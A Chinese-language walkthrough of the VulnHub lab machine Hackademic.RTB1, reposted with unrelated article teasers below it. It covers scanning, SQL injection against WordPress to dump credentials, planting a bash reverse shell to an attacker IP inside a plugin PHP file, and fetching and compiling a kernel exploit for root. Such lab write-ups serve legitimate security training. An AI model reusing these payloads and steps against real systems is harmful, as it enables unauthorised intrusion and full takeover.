vulnhub系列:Hackademic.RTB1

embedded/2024/10/18 16:54:01/

vulnhub系列:Hackademic.RTB1

靶机下载

一、信息收集

nmap 扫描存活,根据 mac 地址寻找 IP

nmap 192.168.23.0/24

namp扫描网段

nmap 扫描端口,开放端口:22、80

nmap 192.168.23.143 -p- -Pn -sV -O

nmap端口扫描

访问80端口,页面发现 target 可以点击

首页

点击后跳转,页面提示目标是读取到 key.txt 文件

点击target

wappalyzer 查看网站使用的 cms、语言等

插件看cms

拼接 /Hackademic_RTB1/?feed=rss 看到 wordpress 版本

feed=rss看到框架版本

dirb目录扫描

dirb http://192.168.23.143/

dirb目录扫描

前面发现为 wordpress,kali 使用 wpscan 扫描网站

wpscan扫描网站

其中发现了一个路径 http://192.168.23.143/Hackademic_RTB1/wp-content/themes/starburst/style.css

可以看到 wp-content 位置,尝试将其修改为 wp-admin,发现后台登录页面

http://192.168.23.143/Hackademic_RTB1/wp-admin

发现后台登录页面

使用 wpscan 扫描用户

wpscan扫描用户

使用 cewl 爬取网站密码文本

cewl 192.168.23.143 -w pass.txt

爆破没有爆破出来

findsomething 中有一些参数,尝试sql注入,发现存在sql注入

192.168.23.143/Hackademic_RTB1/?cat=1

存在sql注入

dump 下数据,获取账号密码

获取账号密码

可以看到有个10级用户,直接登录这个账号

GeorgeMiller:q1w2e3

登录成功

发现后台的 php 文件,且给出了文件路径

发现php文件

添加 phpinfo();,访问文件发现可以解析执行

访问发现存在

二、getshell

写入一句话 getshell

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.133/4444 0>&1'");

image-20240813202634027

kali 开启监听

nc -lvnp 4444

image-20240813202553129

访问文件,反弹成功

http://192.168.23.143/Hackademic_RTB1/wp-content/plugins/hello.php

image-20240813202615365

三、提权

使用 python 提升交互性

python -c "import pty;pty.spawn('/bin/bash')"

image-20240813203831776

查看当前权限,需要密码

sudo -l

查看内核版本

uname -a

image-20240813204917182

搜一下相关版本的提权漏洞

searchsploit linux kernel 2.6.3

image-20240813205206825

排除一些其他 linux 操作系统,精确版本,尝试后发现 15285.c 可利用

searchsploit -m 15285

image-20240813205514524

开启一个临时 web 服务,靶机将其下载到 tmp 目录下

python3 -m http.serverwget http://192.168.23.133:8000/15285.c

image-20240813205705481

image-20240813205734802

进行编译后,执行文件,提权成功

gcc 15285.c -o 15285
./15285

image-20240813205856293

在 root 目录下发现 flag

image-20240813205955882


http://www.ppmy.cn/embedded/97675.html

相关文章

【热门文章】Eureka原理实践

以下是关于“Eureka 原理实践”的一些可能的步骤和要点: 一、Eureka 原理概述 Eureka 是 Netflix 开发的服务发现框架,其核心原理包括服务注册、服务发现和心跳机制。 服务注册:服务提供者在启动时将自身的信息(如服务名称、IP 地…

SQL(Structured Query Language)规范

SQL(Structured Query Language)是一种用于管理关系数据库的标准语言。为了确保SQL语句的可读性和一致性,遵循一定的SQL编写规范是非常重要的。下面是一些常见的SQL编写规范建议: SQL编写规范 1. 命名规范 表名和字段名&#x…

Django Project | 云笔记练习项目

文章目录 功能整体架构流程搭建平台环境子功能先创建用户表 并同步到数据库1.用户注册密码存储 -- 哈希算法唯一索引引发的重复问题 try登陆状态保持 -- 详细看用户登录状态 2. 用户登录会话状态时间 cookie用户登录状态校验 3. 网站首页4.退出登录5.笔记模块 列表页添加笔记 …

【区块链+金融服务】基于 VoneBaaS 的区块链金融服务管理平台 | FISCO BCOS应用案例

在顺应数字经济发展、强化科技赋能金融的背景下,中央及地方政策层面鼓励“区块链 金融”应用示范项目, 在中小企业征信及风险管理、供应链金融等重点领域开展应用,探索建立区块链金融风险监控体系。同时,随着 科技金融服务逐步升…

RabbitMQ的介绍

一、什么是MQ MQ(message queue),从字面意思上看就个 FIFO 先入先出的队列,只不过队列中存放的内容是 message 而已,它是一种具有接收数据、存储数据、发送数据等功能的技术服务。 消息指的是两个应用间传递的数据。数据的类型有很多种形式…

python 使用正则表达式判断图片路径是否是超链接

在Python中,判断一个给定的字符串(假设为图片路径)是否是网页链接(URL),你可以通过检查该字符串是否符合URL的基本格式来实现。虽然这个方法不能保证链接一定指向图片,但它能判断该字符串是否是…

赋能基层,融合创新:EasyCVR视频汇聚平台构建平安城市视频共享系统

一、雪亮工程建设的意义 雪亮工程的核心在于通过高清视频监控、环境监测和智能预警等先进技术手段,构建一个高效、智能、安全、便捷的社会安全防控体系。这一工程的建设不仅代表了现代化科技手段在城市治安管理中的应用,更是提升社会安全保障能力、推动…

海康VisionMaster使用学习笔记3-SDK取图

SDK取图 环境配置-创建项目 创建C#Winform .NetFramework的项目 右键项目,打开属性,生成界面,去掉32位勾选.如果项目启动报错,可以首先检查是否去掉32位勾选 点击全部加载 查看引用已全部加载 工具箱右键选择项,浏览,添加 工具箱搜索VM,即可打开相关控件 界面搭建 流程显示区使…